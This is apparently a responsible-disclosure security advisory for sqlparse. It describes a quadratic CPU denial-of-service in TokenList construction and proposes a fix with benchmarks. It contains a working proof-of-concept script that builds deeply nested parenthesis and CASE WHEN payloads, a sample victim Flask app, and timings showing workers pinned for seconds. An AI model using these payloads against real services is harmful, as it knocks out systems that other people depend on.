sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger

Summary

sqlparse ships hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(n*depth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is TokenList.__init__ calling super().__init__(None, str(self)). TokenList.__str__ flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a tree of depth d with n total tokens performs O(n*d) flatten work just to materialize the cached value field, which is then never read for grouped nodes (they override __str__).

This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size.

Affected components

sqlparse 0.5.5 (latest) and every prior version that ships TokenList.__init__. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (da67ac1, 2025-12-08) added depth + token caps to _group_matching / _group but left the per-node str(self) materialization untouched.

Vulnerable code (file:line)

sqlparse/sql.py#L162 (release 0.5.5) / sqlparse/sql.py#L167 (current master):

class TokenList(Token):
    __slots__ = 'tokens'

    def __init__(self, tokens=None):
        self.tokens = tokens or []
        [setattr(token, 'parent', self) for token in self.tokens]
        super().__init__(None, str(self))   # ← O(subtree) work per group
        self.is_group = True

    def __str__(self):
        return ''.join(token.value for token in self.flatten())

__str__ recurses via flatten() over the entire subtree below self. Every TokenList constructed during grouping (every Parenthesis, Case, IdentifierList, etc.) runs this on its current children, which themselves recursively call flatten(). For grouping that builds a tree of depth d containing n tokens, the construction cost is O(n * d).

The grouping pipeline that triggers it lives at sqlparse/engine/grouping.py#L80 (group_parenthesis) and sqlparse/engine/grouping.py#L84 (group_case). Both call _group_matching which builds nested Parenthesis / Case TokenList instances bottom-up.

Reachable / How input reaches the sink

sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql) are the documented entry points and all flow into engine/filter_stack.py:run → engine/grouping.py:group → group_parenthesis / group_case. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested CASE WHEN, nested subqueries, or nested ARRAY[] literals.

Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the sqlformat.org-style class of tools), Django's format_debug_sql (django/db/backends/base/operations.py) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as sql-metadata (Parser(sql).columns triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs).

Proof of concept

Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden):

import sqlparse, time, signal

def _h(s, f): raise TimeoutError()
signal.signal(signal.SIGALRM, _h)

def measure(label, sql, fn):
    signal.alarm(30)
    t0 = time.perf_counter()
    status = 'OK'
    try:
        fn(sql)
    except sqlparse.exceptions.SQLParseError:
        status = 'CAP'
    except TimeoutError:
        status = 'TIMEOUT'
    finally:
        signal.alarm(0)
    dt = (time.perf_counter() - t0) * 1000
    print(f'  {status:8} {dt:8.1f}ms  {label}  ({len(sql)} B)')

# Vector 1: deeply nested parentheses
for n in (200, 500, 1000, 2000):
    sql = 'SELECT ' + '(' * n + '1' + ')' * n
    measure(f'nested-paren n={n}', sql, sqlparse.parse)

# Vector 2: deeply nested CASE WHEN
for n in (100, 200, 400):
    case = '1'
    for i in range(n):
        case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
    measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)

Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):

  CAP         80.7ms  nested-paren n=200  (408 B)
  CAP       1342.9ms  nested-paren n=500  (1008 B)
  CAP      11206.9ms  nested-paren n=1000  (2008 B)
  TIMEOUT  >10000ms   nested-paren n=2000  (4008 B)
  CAP         83.1ms  CASE-nested n=100  (3405 B)
  CAP        559.6ms  CASE-nested n=200  (6905 B)
  CAP       5012.2ms  CASE-nested n=400  (13905 B)

cProfile attribution (nested-paren n=500, 1008 B input, 3.1 s total):

ncalls   cumtime  filename:lineno(function)
   501    3.133   sqlparse/sql.py:165(__str__)
   501    3.127   {method 'join' of 'str' objects}
252504    3.110   sqlparse/sql.py:166(<genexpr>)
42168504 3.079   sqlparse/sql.py:207(flatten)

42 million flatten() calls for a 1 KB input. The cap raises at depth 100, but TokenList.__init__ ran str(self) once per group construction and each call walked the partial subtree.

End-to-end reproduction (against running consumer)

victim_app.py (a 50-line Flask formatter, the canonical sqlparse consumer pattern):

from flask import Flask, request, jsonify
import sqlparse, time
app = Flask(__name__)

@app.route('/parse', methods=['POST'])
def parse_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(sql)
        return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)})
    except sqlparse.exceptions.SQLParseError as e:
        return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400

@app.route('/format', methods=['POST'])
def format_sql():
    sql = request.get_data(as_text=True)
    t0 = time.perf_counter()
    formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
    return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)})

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5099, threaded=False)

Driver run (Python 3.9, sqlparse 0.5.5, threaded=False so one worker per request):

=== Baseline (benign payloads) ===
  benign small SQL                              8B  wire=    8.8ms  server=     0.2ms
  benign 1 KB SQL                             220B  wire=    4.1ms  server=     2.5ms
  benign flat 500-cols                       2902B  wire=   91.7ms  server=    90.2ms

=== Malicious payloads (within default caps) ===
  nested-paren n=200                          408B  wire=   84.0ms  server=    82.6ms  ok=False
  nested-paren n=500                         1008B  wire= 1371.9ms  server=  1370.5ms  ok=False
  nested-paren n=1000                        2008B  wire=10335.3ms  server=10333.7ms  ok=False
  nested-paren n=2000                        4008B  wire=10661.4ms  server=10659.6ms  ok=False
  CASE-nested n=400                         13905B  wire= 5136.4ms  server= 5134.7ms  ok=False
  IN-tuple-format n=1000                     9922B  wire= 3852.8ms  server=  3851.2ms  ok=True

A 2 KB payload (nested-paren n=1000) pins one worker for 10 seconds at 100% CPU. With gunicorn -w N deploying the same app, N concurrent malicious requests exhaust every worker and bring the service down. The cap SQLParseError exception is delivered to the caller, but only after the CPU work is already burnt.

Impact

• Single-threaded service: 1-2 KB payload locks the worker for 1-10 seconds (CWE-1333 / CWE-405 / CWE-400 — uncontrolled resource consumption).
• Multi-worker service: attacker sends N parallel requests, exhausts the worker pool.
• Wire-to-CPU amplification on the worst vector: ~5000x (2 KB request → 10 seconds CPU).
• Downstream library impact: sql-metadata.Parser(sql).columns calls sqlparse.parse internally and inherits the exact same hang (nested-paren n=1000 → 11.3 s).

Suggested fix

Replace the eager str(self) materialization with a single-pass concatenation of children's already-cached value fields. The Token.value invariant value == str(self) at construction is preserved (children's value is itself built the same way bottom-up), but the per-node cost drops from O(subtree) to O(len(self.tokens)):

def __init__(self, tokens=None):
    self.tokens = tokens or []
    [setattr(token, 'parent', self) for token in self.tokens]
    # Avoid materializing the full subtree via str(self): concatenating
    # children's already-cached `value` is O(len(tokens)) per group,
    # whereas str(self) recursively flattens the entire subtree which is
    # O(subtree) per node and turns nested grouping into O(n * depth).
    super().__init__(None, ''.join(token.value for token in self.tokens))
    self.is_group = True

Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched 0d24023):

Vector	Before fix	After fix	Speedup
nested-paren n=500	1336 ms	11 ms	121x
nested-paren n=1000	11206 ms	22 ms	509x
nested-paren n=2000	TIMEOUT (>10 s)	45 ms	220x+
CASE-nested n=200	559 ms	25 ms	22x
CASE-nested n=500	TIMEOUT (>10 s)	61 ms	160x+
benign 1 KB SQL	3 ms	3 ms	unchanged

End-to-end Flask victim_app re-run against the patched library:

  nested-paren n=1000                        2008B  server=    34.6ms
  nested-paren n=2000                        4008B  server=    67.2ms
  CASE-nested n=400                         13905B  server=    49.5ms
  benign 1 KB SQL                             220B  server=     3.4ms

The IN-tuple format() vector observed at n=1000 (3.8 s for ~10 KB input) is a separate quadratic in the reindent filter (filters/reindent.py:_get_offset → _flatten_up_to_token) and is not covered by this advisory; please consider it as a follow-up if the maintainer would like a separate report.

Fix PR

A fix PR against the temp private fork, mirroring the diff above with a regression test (test_nested_paren_within_cap_under_50ms), is attached and linked from this advisory.

Credit

Reported by tonghuaroot.